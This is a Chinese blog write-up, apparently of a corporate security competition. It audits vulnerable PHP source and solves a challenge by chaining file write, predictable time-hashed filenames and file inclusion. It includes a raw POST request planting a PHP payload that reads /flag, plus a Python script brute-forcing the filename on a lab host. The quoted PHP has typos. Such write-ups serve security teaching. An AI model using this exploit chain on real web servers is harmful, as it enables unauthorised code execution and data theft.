网络安全 --- 中xx信第四届网络安全攻防赛

GKLBB / 2024-10-29 / 原文

我先简述一下流程,考试考3场,第一场是ctf,包含理论和实操,都是常规题目。第二次是awd,分成15个回合,我们攻击服务器提供的多个其他队伍的靶机,其他人也可以攻击我们。主要使用的工具是漏洞审计工具。将每个审计的结果进行修复。第三场是cfs,就是内网渗透,提供多台机器,通过web进入内网内部进行的渗透

 

第一题:

 

//计算sha256后截取16位
function
generateStringFromTime($timeStr, $length = 16){ // 基于传入的时间字符串 `timeStr` 生成哈希值,然后取其前 `$length` 个字符作为返回结果。 $hash = hash('sha256', $timeStr); // 使用 sha256 算法对时间字符串进行哈希 $result = substr($hash, 0, $length); // 从哈希值中提取前 `length` 个字符 return $result; // 返回生成的子字符串 } ...代码路... sleep(x); // 程序暂停一段时间, x 的值小于 60 秒,具体时间未知 $full_time = date("Y-m-d-H-i-s'); //获取当前完整时间戳 "年-月-日-时-分-秒",这里的时间因为上面的sleep函数导致date对象未知 sleep(x); // 再次暂停, x 的值小于 8 秒,具体时间未知 $time = data('Y-m-d-H-i'); //获取当前时间,精确到分钟 "年-月-日-时-分"。两次 sleep(x) 没有明确的时间,会导致不可预测的暂停时间。 $generatedString = generateStringFromTime($full_time); // 基于完整时间戳生成一个哈希字符串 $filename = '/tmp/'. $generatedString; // 使用生成的哈希字符串作为文件名,在 `/tmp/` 目录下创建文件,文件名是根据哈希生成的,但它依赖于 full_time,即当前的完整时间戳。理论上,攻击者可以通过多次尝试或猜测来生成相同的文件名,进而覆盖已有文件或访问不应访问的文件。
$content = $_POST['HIJKLMN']; // 从 POST 请求中获取用户提交的内容,键为 'HIJKLMN',攻击者可以通过提交恶意内容,如 PHP 代码或脚本,来尝试代码注入攻击。
...代码络... 
file_put_contents(
$filename, $content); // 将用户提交的内容写入到生成的文件中,这里有个文件写入漏洞!!!!
$log_entry = "$time 时间提交了一条内容\n"; // 创建日志条目,记录提交时间到 `time`
file_put_contents('/tmp/time.txt',
$log_entry, FILE_APPEND); // 将日志条目追加写入到日志文件 `/tmp/time.txt` 中
echo render_template('submit_success.html', ['time' =>
$time]); // 返回 `submit_success.html` 模板,传递时间参数 }


利用思路:通过源码审计,发现源码存在,文件写入,文件包含,文件路径预测,三个漏洞,我们利用文件写入漏洞先写入php一句话木马到文件,在文件路径预测漏洞爆破目录存放位置,使用文件包含漏洞执行php代码读取flag文件。

1.文件写入

使用burp或hackbar写入一句话木马,注意这里有php木马过滤需要绕过,我们使用下面代码绕过

POST /submit.php HTTP/1.1
Host: 10.1.0.122:84
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
A=1&B=2&HIJKLMN=<?php var_dump(readfile("/flag"));?>

 

2.文件路径预测并文件包含返回flag结果
import hashlib
import requests  # 导入 requests 库以发送 HTTP 请求

# 定义函数,通过时间字符串生成 SHA-256 哈希
def generate_string_from_time(time_str, length=16):
    hash_object = hashlib.sha256(time_str.encode())  # 计算 SHA-256 哈希
    return hash_object.hexdigest()[:length]  # 返回前 length 个字符

str1 = "2024-09-23-09-33-"
for i in range(60):
    i_str = str(i).zfill(2)  # 用零填充,确保两位数
    combined_str = f"{str1}{i_str}"  # 组合时间字符串
    sha = generate_string_from_time(combined_str)  # 生成时间哈希值

    url2 = f"http://10.1.0.122:84/include.php?file=/tmp/{sha}"  # 生成请求 URL
    
    # 发送请求以检查文件
    req = requests.get(url2)  # 发送 GET 请求
    if "File not found" not in req.text:  # 检查文件是否存在
        print(url2)  # 如果文件存在,打印 URL